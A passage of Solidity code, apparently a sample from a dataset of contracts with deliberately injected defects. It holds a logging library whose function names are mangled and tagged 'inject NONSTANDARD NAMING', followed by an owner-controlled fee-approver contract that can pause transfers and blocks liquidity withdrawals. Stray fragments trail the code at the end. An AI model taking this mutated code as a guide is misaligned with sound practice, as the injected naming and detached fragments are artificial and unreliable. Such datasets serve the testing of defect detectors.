_SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function LOG40(string memory p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function LOG40(bool p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function LOG40(address p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function LOG40(address p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function LOG40(address p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function LOG40(address p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD51(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } interface iuniswapv2factory11 { //inject NONSTANDARD NAMING event PAIRCREATED16(address indexed token0, address indexed token1, address pair, uint); //inject NONSTANDARD NAMING function FEETO47() external view returns (address); //inject NONSTANDARD NAMING function FEETOSETTER62() external view returns (address); //inject NONSTANDARD NAMING function GETPAIR25(address tokenA, address tokenB) external view returns (address pair); //inject NONSTANDARD NAMING function ALLPAIRS78(uint) external view returns (address pair); //inject NONSTANDARD NAMING function ALLPAIRSLENGTH45() external view returns (uint); //inject NONSTANDARD NAMING function CREATEPAIR19(address tokenA, address tokenB) external returns (address pair); //inject NONSTANDARD NAMING function SETFEETO7(address) external; //inject NONSTANDARD NAMING function SETFEETOSETTER93(address) external; //inject NONSTANDARD NAMING } contract feeapprover21 is ownableupgradesafe25 { //inject NONSTANDARD NAMING using safemath14 for uint256; function INITIALIZE58( //inject NONSTANDARD NAMING address _NANOCOREAddress, address _WETHAddress, address _uniswapFactory ) public INITIALIZER65 { ownableupgradesafe25.__OWNABLE_INIT13(); nanocoreTokenAddress = _NANOCOREAddress; WETHAddress = _WETHAddress; tokenUniswapPair = iuniswapv2factory11(_uniswapFactory).GETPAIR25(WETHAddress,nanocoreTokenAddress); feePercentX100 = 15; paused = false; // We start paused until sync post LGE happens. } address tokenUniswapPair; iuniswapv2factory11 public uniswapFactory; address internal WETHAddress; address nanocoreTokenAddress; address nanocoreVaultAddress; uint8 public feePercentX100; // max 255 = 25.5% artificial clamp uint256 public lastTotalSupplyOfLPTokens; bool paused; // Pausing transfers of the token function SETPAUSED71(bool _pause) public ONLYOWNER81 { //inject NONSTANDARD NAMING paused = _pause; } function SETFEEMULTIPLIER40(uint8 _feeMultiplier) public ONLYOWNER81 { //inject NONSTANDARD NAMING feePercentX100 = _feeMultiplier; } function SETNANOCOREVAULTADDRESS89(address _nanocoreVaultAddress) public ONLYOWNER81 { //inject NONSTANDARD NAMING nanocoreVaultAddress = _nanocoreVaultAddress; } function SYNC99() public { //inject NONSTANDARD NAMING uint256 _LPSupplyOfPairTotal = ierc2086(tokenUniswapPair).TOTALSUPPLY25(); lastTotalSupplyOfLPTokens = _LPSupplyOfPairTotal; } function CALCULATEAMOUNTSAFTERFEE82( //inject NONSTANDARD NAMING address sender, address recipient, // unusued maybe use din future uint256 amount ) public returns (uint256 transferToAmount, uint256 transferToFeeDistributorAmount) { require(paused == false, "FEE APPROVER: Transfers Paused"); uint256 _LPSupplyOfPairTotal = ierc2086(tokenUniswapPair).TOTALSUPPLY25(); // console.log("sender is " , sender); // console.log("recipient is is " , recipient, 'pair is :', tokenUniswapPair); // console.log("Old LP supply", lastTotalSupplyOfLPTokens); // console.log("Current LP supply", _LPSupplyOfPairTotal); if(sender == tokenUniswapPair) require(lastTotalSupplyOfLPTokens <= _LPSupplyOfPairTotal, "Liquidity withdrawals forbidden"); // console.log('Sender is pair' , sender == tokenUniswapPair); // console.log('lastTotalSupplyOfLPTokens <= _LPSupplyOfPairTotal' , lastTotalSupplyOfLPTokens <= _LPSupplyOfPairTotal); if(sender == nanocoreVaultAddress || sender == tokenUniswapPair ) { // Dont have a fee when nanocorevault is sending, or infinite loop console87.LOG40("Sending without fee"); // And when pair is sending ( buys are happening, no tax on it) transferToFeeDistributorAmount = 0; transferToAmount = amount; } else { console87.LOG40("Normal fee transfer"); transferToFeeDistributorAmount = amount.MUL16(feePercentX100).DIV54(1000); transferToAmount = amount.SUB60(transferToFeeDistributorAmount); } lastTotalSupplyOfLPTokens = _LPSupplyOfPairTotal; } }
inject NONSTANDARD NAMING
function LOG40(string memory p0, uint p1, uint p2, string memory p3) internal view {
1,019,025
